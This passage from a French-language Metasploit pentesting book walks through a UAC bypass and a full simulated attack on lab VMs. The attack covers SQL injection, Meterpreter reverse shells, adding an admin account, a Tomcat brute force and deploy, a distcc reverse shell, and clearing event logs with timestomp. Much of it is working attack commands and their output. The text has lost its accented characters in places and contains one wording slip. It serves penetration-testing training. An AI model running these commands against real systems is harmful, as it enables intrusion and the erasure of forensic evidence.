shells Meterpreter. Notez dans cet exemple que lorsquon essaie
dexcuter la commande getsystem, elle choue parce quelle est
bloque par lUAC Windows.
[*]
172.16.32.130:2310) at Thu June 09 08:02:45 -0500 2011
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer : DAVE-DEV-PC
OS : Windows 7 (Build 7600).
Arch : x64 (Current Process is WOW64)
Language : en_US
meterpreter >
Nous ne pouvons pas nous raccrocher un compte de niveau systme,
parce que lUAC nous bloque. Nous devons le contourner pour obtenir
des privilges de niveau systme et devenir un administrateur afin de
pouvoir continuer compromettre la machine. Nous appuyons sur
CTRL+Z pour revenir en arrire tout en gardant la session active.
Ensuite, nous utilisons le nouveau format pour excuter des modules de
postexploitation et contourner la fonctionnalit UAC de Windows.
msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options (post/windows/escalate/bypassuac):

Name
Current
Setting
----
-------------
--
-------- -----------
LHOST no
Listener IP address for the new
session
LPORT 4444 no Listener port for the new session
SESSION yes
The session to run this module
on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST => 172.16.32.128
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit

[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Post module execution completed
msf post(bypassuac) >
[*]
172.16.32.130:1106) at Thu June 09 19:50:54 -0500 2011
[*]
Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106)
processing InitialAutoRunScript migrate -f
[*] Current server process: tYNpQMP.exe (3716)
msf post(bypassuac) > sessions -i 2
...got system (via technique 1).

meterpreter >
Nous aurions aussi pu excuter run au lieu de use dans la console
Meterpreter, les options par dfaut auraient t utilises et lexcution
aurait eu lieu sans que lon ait configurer les diverses options.
Dans lexemple prcdent, nous avons donc russi acqurir des droits
de niveau systme sur une machine cible avec lUAC activ. Ce petit
exemple montre comment les modules de postexploitation seront
finalement configurs et convertis.
Ce script fonctionne simplement grce un excutable prcdemment
compil qui a t upload sur la machine cible puis excut. Jetez un
coup dil au module de postexploitation pour avoir une meilleure ide
de ce qui se passe derrire :
modules/post/windows/escalate/bypassuac.rb
Conclusion
Nous ne couvrirons pas tous les dtails du module de postexploitation
parce quil est presque identique lattaque montre au Chapitre 13.
Parcourez attentivement chaque ligne puis essayez de construire et
dexcuter votre propre module.
Parcourez les scripts Meterpreter existants et regardez les diffrents
appels, commandes et fonctions que vous pouvez utiliser pour crer votre
propre script. Si vous avez une bonne ide propos dun nouveau script,
soumettez-la lquipe de dveloppement Metasploit et qui sait, peut-tre
que ce sera un script que dautres pourront utiliser !
17
Simulation de pentest
Sommaire
Pr-engagement
Collecte des renseignements
Modlisation des menaces
Exploitation
Personnaliser la console MSF
Postexploitation
Attaque dApache Tomcat
Attaque de services cachs
Effacer ses traces
Le test de pntration est lapoge pour la plupart dentre nous, et russir
contourner les dfenses dun systme est lune des expriences les plus
gratifiantes.
Dans ce chapitre, nous allons rassembler les connaissances acquises au
fil des chapitres prcdents en simulant un test de pntration complet.
Vous recrerez les tapes tudies, donc la plupart des choses que vous
verrez ici devraient tre familires.
Avant de commencer, tlchargez et installez Metasploitable, machine
virtuelle tournant sur Linux, vulnrable Metasploit, que vous trouvez
ladresse suivante thepiratebay.se/torrent/5573179/Metasploitable/.
Metasploitable a t cr pour que les utilisateurs puissent sentraner.
Suivez les instructions donnes sur le site pour installer Metasploitable,
puis lancez-le. Nous ferons tourner la machine virtuelle Metasploitable
ct de notre machine Windows XP pour simuler un petit environnement
rseau, avec une machine virtuelle agissant comme un systme en frontal
dInternet, et lautre comme un systme connect un rseau interne.
Note
Le pentest de pntration que nous allons simuler dans ce chapitre est de
petite envergure. Si votre cible tait une grande socit, vous lanceriez
quelque chose de plus approfondi. Nous avons choisi un exemple simple,
pour que cela soit plus facilement reproductible.
Pr-engagement
La prparation est la premire tape de pr-engagement.
Durant une vraie phase de prparation, nous identifierions nos cibles et
notre mthode principale dattaque planifie, qui pourrait inclure du
social engineering, des rseaux sans fil, Internet ou les vecteurs dattaque
internes. la diffrence dun test de pntration rel, nous nallons pas
viser ici une socit ou un groupe de systmes, mais nous ferons une
simulation, en utilisant notre machine virtuelle.
Notre cible sera la machine virtuelle protge Metasploitable, dont
ladresse IP est 176.16.132.162 (pour configurer Metasploitable, utilisez
lidentifiant et le mot de passe de msfadmin). La cible Metasploitable est
une machine relie au rseau interne, protge par un pare-feu et non
directement connecte Internet. Notre machine virtuelle Windows XP
est protge par un pare-feu (activez le pare-feu Windows), dont seul le
port 80 est ouvert, et dont ladresse IP est 172.16.32.131.
La prochaine tape, la collecte de renseignements, est lune des plus
importantes, car si vous oubliez quelque chose, vous risquez de rater un
pan entier de lattaque. Notre but ce niveau est de bien comprendre ce
que nous allons attaquer et de dterminer la meilleure manire dentrer
dans le systme.
Nous commenons par un scan nmap de base (voir ci-aprs) contre notre
machine virtuelle Windows XP, et nous constatons que le port 80 est
ouvert. On utilise les scans discrets de nmap qui sont particulirement
efficaces pour dtecter les ports sans dclencher les mcanismes de
dfense. La plupart des IDS peuvent dtecter les scans de port, mais
puisque ceux-ci sont si communs, ils sont gnralement considrs
comme inoffensifs et sont ignors tant quils ne sont pas trop agressifs.
root@bt:/# nmap -sT -P0 172.16.32.131

Host is up (0.00071s latency)
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http

Nous dcouvrons ce qui semble tre un serveur HTTP tournant sur ce
serveur. Cest quelque chose de typique lorsque lon attaque des systmes
connects Internet, dont la plupart limitent le nombre de ports
accessibles par les utilisateurs.
Ici, nous apercevons le port 80, port HTTP standard, en coute. Si lon
tente dy accder, on peut voir quelque chose danalogue la
Figure 17.1.
Figure 17.1
Une application web a t identifie.
Ayant trouv le port 80 ouvert, nous pourrions numrer nimporte quel
systme additionnel disponible, mais nous ne nous intressons ici qu une
seule cible. Passons la modlisation de la menace et tentons didentifier
le meilleur chemin pour pntrer dans le systme.
La page web que nous avions dniche nous donne loccasion de remplir
les champs User et Password. ce stade, en tant que pentester, vous
devez sortir des sentiers battus et tenter de dterminer quel sera le
meilleur chemin. Quand vous effectuez des pentests dapplication,
pensez activer dautres outils que Metasploit, comme Burp Suite
(http://www.portswigger.net/) lorsque cela est appropri, ne vous sentez
pas prisonnier dune seule bote outils. Dans lexemple qui suit, nous
allons tenter une attaque manuelle en entrant TEST (notez le guillemet
simple) dans le champ User, et un guillemet simple dans le champ
Password.
Avant que le formulaire soit envoy, les champs User et Password
devraient ressembler ceux de la Figure 17.2.
Figure 17.2
Tentative dutilisation des injections SQL.
Prenez un moment pour imaginer ce qui se passe lautre bout, quand le
serveur reoit les donnes. Ici nous avons simplement essay de
dmarrer une nouvelle requte SQL et dy ajouter des donnes errones.
Il est fort probable que vous ne trouviez pas beaucoup dapplications web
aussi faciles attaquer que celle-l, mais ici, cela permet davoir un bon
exemple et il ny a pas si longtemps que a, ce genre derreur tait
monnaie courante.
Lorsque nous cliquons sur le bouton envoi, nous obtenons un message
derreur (voir Figure 17.3).
Ce message indique quil y a un problme avec linjection SQL bas sur
lexception SQL, et le "Incorrect Syntax Near" indique que cest notre
TEST qui en est la cause. Une petite recherche Google nous informe
que la base de donnes ct serveur est Microsoft SQL, simplement
grce aux lments prsents dans le message derreur.
Ici, nous ne parlerons pas des injections SQL dans les applications web,
mais il est trs facile de modifier les paramtres dentre pour attaquer
un systme et le compromettre entirement (cela a t brivement abord
au Chapitre 11). Notez quactuellement nous navons toujours pas attaqu
de systme ; nous avons simplement tent didentifier un vecteur
dattaque possible. Maintenant que nous savons quil est possible de
compromettre le systme, il est temps de passer la phase dexploitation.
Figure 17.3
Message derreur : une injection SQL est prsente.
Exploitation
Lorsque nous recherchions des failles dans lapplication web, nous avons
dcouvert un vecteur dattaque via linjection SQL. Dans ce cas prcis,
Fast-Track est notre meilleure chance de compromettre le serveur MS
SQL et daccder notre cible grce Meterpreter car, comme nous
lavons vu au Chapitre 11, il attaque aisment les failles sujettes aux
injections SQL bases sur MS SQL.
Aprs avoir lanc notre console Meterpreter, nous allons regarder
comment obtenir un accs au systme Metasploitable sur le rseau
interne.
Personnalisation de la console MSF
Nous allons utiliser SQLPwnage pour dployer la console Meterpreter via
une injection SQL sur la cible afin dobtenir les droits dadministration sur
sa base de donnes ct serveur. Souvenez-vous, nous avions appris au
Chapitre 11 que SQLPwnage est une mthode automatique pour attaquer
les failles de type injection bases sur MS SQL et quil utilise de multiples
mthodes dattaque afin de compromettre entirement le serveur SQL via
la procdure stocke xp_cmdshell.
Avant de lancer lattaque, nous devons rgler quelques paramtres au
travers de msfconsole. Pour sentraner, crons notre propre listener
Metasploit. Fast-Track peut le faire pour nous mais nous allons ajouter
Metasploit la fonction load auto_add_route afin que nous puissions nous
connecter automatiquement aux systmes sur le rseau interne. Nous
allons crer un listener et lancer Fast-Track pour attaquer le systme.
msf > use multi/handler
LHOST => 172.16.32.129
LPORT => 443
exploit(handler) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(handler) > exploit j
Avec notre listener en attente dune connexion en provenance de la cible
bientt compromise, nous lanons Fast-Track (vous pouvez fermer la
fentre xterm qui souvre, tant donn que nous avons dj notre listener
configur).
[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: xp_cmdhshell if disabled. [+]
[+] Delivery Complete. [+]
Launching MSFCLI Meterpreter Handler
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=172.16.32.129,LPORT=443
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]
[+] Sending chunked payload. Number 1 of 9. This may take a bit. [+]
[+] Sending chunked payload. Number 2 of 9. This may take a bit. [+]

. . . SNIP . . .

[+] Conversion from hex to binary in progress. [+]
[+] Conversion complete. Moving the binary to an executable. [+]
[+] Splitting the hex into 100 character chunks [+]
[+] Split complete. [+]
[+] Prepping the payload for delivery. [+]
Sending chunk 1 of 8, this may take a bit...
Sending chunk 2 of 8, this may take a bit...
. . . SNIP . . .

Using H2B Bypass to convert our Payload to Binary..
Running cleanup before launching the payload....
[+]
Launching the PAYLOAD!! This may take up to two or three
minutes. [+]
Cela devrait vous paratre familier. Fondamentalement, nous venons
dattaquer lapplication web grce Fast-Track et nous lavons exploit
via une attaque par injection SQL. Nous avons utilis la procdure
stocke xp_cmdshell et la technique de conversion binaire vers
hexadcimal pour obtenir un shell Meterpreter part entire.
Postexploitation
ce niveau, nous devrions avoir une console Meterpreter qui tourne en
arrire-plan dans msfconsole. Nous pouvons donc commencer scanner
le sous-rseau de la cible pour trouver dautres systmes disponibles.
Pour cela, nous allons uploader nmap vers la cible et le lancer depuis la
machine Windows.
Premirement, tlchargez nmap depuis insecure.org au format
excutable et faites-en une sauvegarde locale. Nous allons luploader
vers la cible. Ensuite, nous allons nous connecter la cible via le RDP
(Remote Desktop Protocol) de Microsoft, un protocole administratif de
commande graphique intgr qui permet dinteragir avec le Windows
Desktop comme si vous tiez assis devant la machine distante. Aprs nous
tre connect notre session Meterpreter, nous allons utiliser le script
Meterpreter getgui pour crer un tunnel RDP de la machine cible vers
nous sur le port 8080 et ajouter un nouvel administrateur au systme.
Nous entrons rdesktop localhost:8080 depuis la ligne de commandes de
Back|Track, afin de pouvoir nous connecter au systme avec le nouveau
compte utilisateur. Puis nous utilisons Meterpreter pour uploader nmap sur
la cible. Notre but est dinstaller nmap sur le Windows compromis et
dutiliser le systme comme base de lancement pour organiser les
attaques suivantes. linverse, vous pouvez utiliser /scanner/portscan/syn
et scanner/portscan/tcp pour scanner les ports directement grce
Metasploit. Le choix vous appartient, selon votre prfrence et vos
besoins.
meterpreter > run getgui -e -f 8080
[*]
Windows Remote Desktop Configuration Meterpreter Script by
Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Starting the port forwarding at local port 8080
[*] Local TCP relay created: 0.0.0.0:8080 <-> 127.0.0.1:3389
meterpreter > shell
Channel 6 created.

C:\WINDOWS\system32>net user msf metasploit /add
net user msf metasploit /ADD
C:\WINDOWS\system32>net localgroup administrators msf /add
net localgroup administrators msf /add
C:\WINDOWS\system32>^Z
Background channel 6? [y/N] y
meterpreter > upload nmap.exe
[*] uploading : nmap.exe -> nmap.exe
[*] uploaded : nmap.exe -> nmap.exe
meterpreter >
Nous avons dsormais notre base de lancement pour des attaques
additionnelles. Avec nmap install sur la cible, nous avons la matrise du
rseau interne. Nous pouvons maintenant essayer de dnombrer les
systmes connects en interne et tenter de pntrer plus profondment le
rseau.
Scanner le systme Metasploitable
Grce notre session Meterpreter, qui nous garantit laccs au rseau
interne via la commande load auto_add_route, nous pouvons scanner et
exploiter les htes internes en utilisant la cible Windows XP compromise
comme base de lancement. tant connects au rseau interne, nous
devrions tre en mesure datteindre notre systme Metasploitable.
Commenons par un scan de port.
nmap.exe -sT -A -P0 172.16.32.162

21/tcp open ftp ProFTPD 1.3.1
|_ftp-bounce: no banner
22/tcp open ssh
OpenSSH 4.7p1 Debian 8ubuntu1
(protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd
(DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-
2ubuntu5.10 with Suhosin-Patch)
|_html-title: Site doesnt have a title (text/html).
139/tcp open
netbios-
ssn
Samba smbd 3.X (workgroup:
WORKGROUP)
445/tcp open
netbios-
ssn
Samba smbd 3.X (workgroup:
WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_html-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat

MAC Address: 00:0C:29:39:12:B2 (VMware)
No exact OS matches for host (If you know what OS is running on it,
see http://nmap.org/submit/).
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user:
<unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Name: WORKGROUP\Unknown
|_ System time: 2010-05-21 22:28:01 UTC-4

Nous remarquons ci-dessus une srie de ports ouverts. En nous basant sur
la dtection de systme dexploitation de nmap, nous constatons que le
systme scann est une sorte de variante dUNIX/Linux. Certains de ces
ports devraient ressortir par rapport aux autres dans votre esprit, tels que
FTP, Telnet, HTTP, SSH, Samba, MySQL, PostgreSQL et Apache.
Identifier des services vulnrables
Comme certains ports semblent intressants, nous allons identifier chacun
deux pour tenter de trouver un chemin vers le systme.
msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(ftp_version) > run
[*]
172.16.32.162:21 FTP Banner: 220 ProFTPD 1.3.1 Server (Debian)
[::ffff:172.16.32.162]\x0d\x0a
msf auxiliary(ftp_version) >
En quittant le systme, nous savons dsormais que ProFTPD 1.3.1 tourne
sur le port 21. Nous utilisons maintenant SSH pour en apprendre plus sur
la cible (en ajoutant loption -v, nous avons une sortie plus prolixe). Ce
qui suit nous apprend que notre cible excute une vieille version
dOpenSSH, crite spcialement pour Ubuntu :
msf > ssh 172.16.32.162 v
[*] exec: ssh 172.16.32.162 v

OpenSSH_5.1p1 Debian-3ubuntu1, OpenSSL 0.9.8g 19 Oct 2007
Maintenant, nous lanons ce qui suit pour dterminer la version dUbuntu
qui tourne sur ce systme :
msf auxiliary(telnet_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(telnet_version) > run
[*] 172.16.32.162:23 TELNET Ubuntu 8.04\x0ametasploitable login:
msf auxiliary(telnet_version) >
Super ! Nous savons dsormais que le systme tourne sous Ubuntu 8.04 et
que deux protocoles non chiffrs (telnet et FTP) sont utiliss et pourront
nous tre utiles par la suite.
Maintenant jetons un coup dil SMTP pour dcouvrir sous quelle
version notre cible utilise. Souvenez-vous que nous sommes en train
dessayer didentifier la version des services fonctionnant sur les divers
systmes distants.
msf > use auxiliary/scanner/smtp/smtp_version
msf auxiliary(smtp_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(smtp_version) > run
[*]
172.16.32.162:25 SMTP 220 metasploitable.localdomain ESMTP
Postfix (Ubuntu)\x0d\x0a
msf auxiliary(smtp_version) >
Comme vous pouvez le voir, le serveur mail Postfix semble tre utilis sur
le serveur Metasploitable.
Le processus se poursuit sur tous les ports que nous avons dcouverts en
coute sur la cible. Les diffrents modules auxiliaires sont trs utiles pour
ce genre de travail. Une fois que vous avez termin, vous devriez avoir
la liste des versions des logiciels dmarrs sur le systme. Ces
informations se rvleront utiles lorsque vous passerez lattaque.
Nous entrons nouveau dans la phase dattaque, o nous allons
commencer mettre les mains dans le cambouis. Au cours de nos
recherches, nous avons dcouvert plthore de failles dans ce systme,
incluant des exploits directs et des possibilits de bruteforce. Si nous
tions en train deffectuer un test de pntration non cach, nous
pourrions lancer des scanners de vulnrabilit contre le systme pour
trouver la meilleure ouverture, mais cela enlverait tout laspect fun de la
chose ! Allons plutt attaquer Apache.
Nous savons quApache Tomcat est install sur le port 8180, grce nos
rcents scans de ports. Aprs quelques recherches sur Internet, nous
apprenons que Tomcat est vulnrable une attaque par bruteforce sur
linterface de gestion (dans la plupart des cas, il est possible dutiliser
exploit-db ou Google pour identifier les vulnrabilits potentielles dun
service donn). Aprs une autre petite sance de recherches sur Internet
propos de la version dApache Tomcat installe sur la cible, il nous
semble que le manager Tomcat est le meilleur point dattaque pour
compromettre le systme. Si nous pouvons passer outre la fonction de
gestion de Tomcat, nous pouvons utiliser la mthode HTTP PUT pour
dployer notre payload dans le systme dsormais vulnrable. Voil
comment lancer lattaque (la liste des exploits et des payloads en moins) :
msf > search apache
[*] Searching loaded modules for pattern apache...
. . . SNIP . . .
msf auxiliary(tomcat_mgr_login) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
smsf auxiliary(tomcat_mgr_login) > set THREADS 50
THREADS => 50
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
emsf auxiliary(tomcat_mgr_login) > run
[+]
http://172.16.32.162:8180/manager/html [Apache-Coyote/1.1]
[Tomcat Application Manager]
successful login tomcat : tomcat
msf auxiliary(tomcat_mgr_login) >
Notre attaque par bruteforce est couronne de succs et nous sommes
connects avec tomcat comme identifiant et tomcat comme mot de passe.
Mais nous navons pas de shell pour le moment.
Grce nos identifiants rcemment acquis, nous tirons profit de la
fonction HTTP PUT avec lexploit multi/http/tomcat_mgr_deploy pour
dployer notre payload sur le systme en utilisant lidentifiant et le mot de
passe que nous avons dcouverts lorsque nous avons bruteforc le login.
auxiliary(tomcat_mgr_login) > use multi/http/tomcat_mgr_deploy
msf
exploit(tomcat_mgr_deploy)
> set password tomcat
password => tomcat
msf
> set username tomcat
username => tomcat
msf
> set RHOST 172.16.32.162
RHOST => 172.16.32.162
msf
> set LPORT 9999
LPORT => 9999
Msf
> set RPORT 8180
RPORT => 8180
msf
> set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf
> exploit
[*] Using manually select target "Linux X86"
[*] Uploading 1669 bytes as FW36owipzcnHeUyIUaX.war ...
[*]
Executing
/FW36owipzcnHeUyIUaX/UGMIdfFjVENQOp4VveswTlma.jsp...
[*] Undeploying FW36owipzcnHeUyIUaX ...
[*]
172.16.32.162:9999) at 2010-05-
21 23:57:47 -0400msf
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
tomcat55
ls /root
reset_logs.sh
mkdir /root/moo.txt
mkdir: cannot create directory /root/moo.txt: Permission denied
Notez que nous ne pouvons pas modifier le dossier root car nous sommes
sur un compte utilisateur aux droits limits. Pour ce faire, nous aurions
besoin dutiliser un compte administrateur. Gnralement, Apache utilise
le compte utilisateur Apache, qui peut parfois tre Apache mais peut tout
aussi bien tre httpd, www-data, ou bien encore autre chose. Compte tenu
de ce que nous savons de la version du systme dexploitation, nous
pourrions utiliser des techniques de privilege escalation locales pour
obtenir plus daccs en tant que root. Puisque nous avons dj un accs,
tentons quelques attaques.
Note
Voici un petit indice pour obtenir laccs Metasploitable sans privilege
escalation : allez chercher lexploit SSH predictable PRNG sur
http://www.exploit-db.com/exploits/5720/.
Lorsque nous avons utilis le scan de ports de nmap, nous navons pas
inclus tous les ports possibles. Maintenant que nous avons le contrle du
systme, nous pouvons entrer netstat -antp, et nous dcouvrons dautres
ports que nmap navait pas scanns durant lattaque (souvenez-vous que
dans un pentest, on ne peut pas toujours se fier aux paramtres par dfaut
pour russir).
Notre scan dcouvre que le port 3632 est ouvert et associ DistCC. Une
recherche sur Internet nous apprend que DistCC est un programme qui
distribue des versions de code C/C++ plusieurs machines en rseau, et
quil est invulnrable toute attaque (lorsque vous effectuerez des tests
de pntration, vous tomberez souvent sur des applications et des produits
inconnus, et vous devrez faire une recherche propos de ladite
application avant de lattaquer).
msf exploit(distcc_exec) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(distcc_exec) > set LHOST 172.16.32.129
LHOST => 172.16.32.129
shomsf exploit(distcc_exec) > set RHOST 172.16.32.162
RHOST => 172.16.32.162
msf exploit(distcc_exec) > show payloads

Compatible Payloads
===================

---- ---- -----------
cmd/unix/bind_perl normal
Unix Command Shell, Bind TCP
(via perl)
cmd/unix/bind_ruby normal
Unix Command Shell, Bind TCP
(via Ruby)
cmd/unix/generic normal
Unix Command, Generic
command execution
cmd/unix/reverse normal
Unix Command Shell, Double
reverse TCP (telnet)
cmd/unix/reverse_perl normal
Unix Command Shell, Reverse
TCP (via perl)
cmd/unix/reverse_ruby normal
Unix Command Shell, Reverse
TCP (via Ruby)

msf exploit(distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo q6Td9oaTrOkXsBXS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "q6Td9oaTrOkXsBXS\r\n"
[*] Matching...
[*] B is input...
[*]
172.16.32.162:47002) at 2010-05-22 00:08:04 -0400

whoami
daemon
mkdir /root/moo
mkdir: cannot create directory /root/moo: Permission denied
Vous pouvez constater que nous ne sommes toujours pas root. Un exploit
local permettant une lvation de privilges nous permettra dencore plus
compromettre le systme et de nous donner un accs complet en tant
quadministrateur (root). Nous nallons pas vous donner la solution dans
ce livre, mais vous pouvez utiliser ce que vous y avez appris pour obtenir
les privilges root sur le systme Metasploitable. Indice : vous pouvez
trouver lexploit sur le site Exploit Database (http://www.exploit-
db.com/). Tentez par vous-mme dobtenir un shell Linux/Meterpreter
root sur le systme.
Effacement des traces
Aprs avoir effectu notre attaque, notre prochaine tape consistera
retourner vers chaque systme exploit afin deffacer nos traces et de
nettoyer derrire nous. Des vestiges dun shell Meterpreter ou quelques
fragments dun malware doivent tre retirs pour viter dexposer
encore plus le systme. Par exemple, quand nous avons appliqu la
commande PUT pour compromettre linstance Apache Tomcat, un
attaquant pourrait utiliser le bout de code de lexploit restant pour
compromettre le systme.
Parfois, vous aurez besoin deffacer vos propres traces par exemple,
lors du test danalyse forensique dun systme compromis ou dun
programme de gestion dincidents. Dans ces cas prcis, votre but est de
contrecarrer toute analyse forensique ou tout systme de dtection
dintrusion (IDS). Il est souvent compliqu de dissimuler entirement ses
traces, mais vous devriez tre capable de manipuler le systme afin de
troubler un possible examinateur et de lui rendre presque impossible toute
valuation de la porte des dgts.
Dans la plupart des cas, quand une analyse forensique est ralise, si
vous pouvez embrouiller le systme de telle manire que cela rende le
travail de la majorit des examinateurs illisible ou incertain, alors
lexaminateur conclura sans doute que le systme t infect ou
compromis mais il sera probablement incapable de se rendre compte de
la quantit dinformations que vous avez t capable dextraire du
systme. La meilleure faon dembrouiller lanalyse forensique est de
formater le systme et de le restaurer, supprimant de ce fait toute trace,
mais cest une mthode rarement utilise durant un pentest.
Lun des avantages de Meterpreter que nous avons voqus dans
plusieurs chapitres est sa capacit rsider en mmoire. Cest un vrai
dfi de dtecter et de ragir un Meterpreter log cet endroit-l. Bien
que des recherches soient faites pour mieux dbusquer les payloads
Meterpreter, lquipe charge de Metasploit revient toujours avec une
nouvelle faon de les cacher.
Il sagit du mme jeu du chat et de la souris auquel se livrent les diteurs
dantivirus avec les nouvelles versions de Meterpreter. Quand une
nouvelle mthode ou un nouvel encodeur permettant de cacher un
payload arrive sur le march, il peut se passer plusieurs mois avant que
les diteurs dcouvrent le problme et mettent jour leur signature
numrique pour le rgler. Dans la plupart des cas, il est trs compliqu
pour beaucoup danalystes forensiques didentifier une attaque venant
dun Metasploit rsidant entirement dans la mmoire de la machine.
Nous nallons pas nous tendre sur la faon de couvrir ses traces, mais
deux outils Metasploit sont mentionner : timestomp et event_manager.
Timestomp est le plug-in Meterpreter qui vous permet de modifier,
supprimer ou modifier certains attributs de fichiers. Lanons-le :
meterpreter > timestomp
Usage: timestomp file_path OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file
-e <opt> Set the "mft entry modified" time of the file
-f <opt> Set the MACE of attributes equal to the supplied file
-h Help banner
-m <opt> Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z <opt> Set all four attributes (MACE) of the file

meterpreter > timestomp C:\\boot.ini -b
[*] Blanking file MACE attributes on C:\boot.ini
meterpreter >
Ici par exemple, nous avons chang le timestamp pour que, lors de
lutilisation dEncase (un outil danalyse forensique populaire), les
timestamps soient vides.
Loutil event_manager va modifier le journal dvnement pour cacher
toute information qui pourrait rvler quune attaque a eu lieu. Voici la
manuvre effectuer :
meterpreter > run event_manager
Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:
-c <opt> Clear a given Event Log (or ALL if no argument specified)
-f <opt> Event ID to filter events on
-h Help menu
-I
Show information about Event Logs on the System and their
configuration
-l <opt> List a given Event Log.
-p Supress printing filtered logs to screen
-s <opt>
Save logs to local CSV file, optionally specify alternate
folder in which to
save logs

meterpreter > run event_manager -c
[-] You must specify an eventlog to query!
[*] Application:
[*] Clearing Application
[*] Event Log Application Cleared!
[*] MailCarrier 2.0:
[*] Clearing MailCarrier 2.0
[*] Event Log MailCarrier 2.0 Cleared!
[*] Security:
[*] Clearing Security
[*] Event Log Security Cleared!
[*] System:
[*] Clearing System
[*] Event Log System Cleared!
meterpreter >
Ici, nous avons effac tous les journaux dvnements, mais un
examinateur pourrait tomber sur dautres indices sur le systme qui
pourraient lui faire penser une attaque. Nanmoins, de manire
gnrale celui-ci ne sera pas capable de rassembler les pices du puzzle
et donc didentifier ce qui sest pass pendant lattaque. Mais il saura que
quelque chose sest produit.
Noubliez pas de noter les changements que vous effectuez sur le
systme cible, il sera ainsi plus facile deffacer vos traces.
Gnralement, vous laisserez une petite trace de votre passage sur le
systme, alors autant rendre le travail de recherche extrmement
compliqu pour lquipe danalyse forensique.
Conclusion
ce stade, nous pourrions continuer attaquer dautres machines sur le
rseau interne en utilisant la fois Metasploit et Meterpreter, nos attaques
ntant limites que par notre imagination et notre habilit. Si le rseau
tait plus grand, nous pourrions pntrer celui-ci en utilisant les
informations issues des diffrents systmes prsents.
Par exemple, un peu plus tt dans le chapitre, nous avons compromis un
systme tournant sous Windows. Nous pourrions utiliser la console
Meterpreter pour extraire les valeurs hashes du systme puis les utiliser
pour sauthentifier sur dautres systmes tournant sous Windows. Le
compte dadministrateur local est presque tout le temps le mme dun
systme lautre, donc mme dans un environnement de grande
entreprise, nous pourrions utiliser les informations dun systme pour
baser nos attaques sur un autre systme.
Les tests de pntration requirent de sortir des sentiers battus et de
rassembler des pices de puzzle. Nous avons utilis une mthode dans ce
chapitre, mais il y a probablement plusieurs faons de rentrer dans les
systmes, et plusieurs chemins dattaque dont vous pouvez tirer profit.
Tout cela viendra avec le temps et lexprience. Prenez le temps dtre
cratif. De plus, la persvrance est llment cl des tests de
pntration.
Noubliez pas dtablir un ensemble de rgles et de mthodes avec
lesquelles vous tes laise, mais changez-les si ncessaire. Souvent, les
pentesters changent leur mthode au moins une fois par test, pour ne pas
senfermer dans leurs habitudes. Les changements peuvent inclure une
nouvelle faon dattaquer un systme, ou lutilisation dune nouvelle
mthode. Peu importe la mthode que vous choisissez, vous pouvez
accomplir tout ce que vous voulez dans ce domaine avec un peu
dexprience et beaucoup de travail.
A
Configurer les machines cibles
La meilleure manire dapprendre utiliser le Framework Metasploit est
de sentraner rpter une tche jusqu ce que lon comprenne
totalement comment elle est accomplie. Cette annexe explique comment
mettre en place un environnement de test utiliser avec les exemples
dans ce livre.
Installation et paramtrage du systme
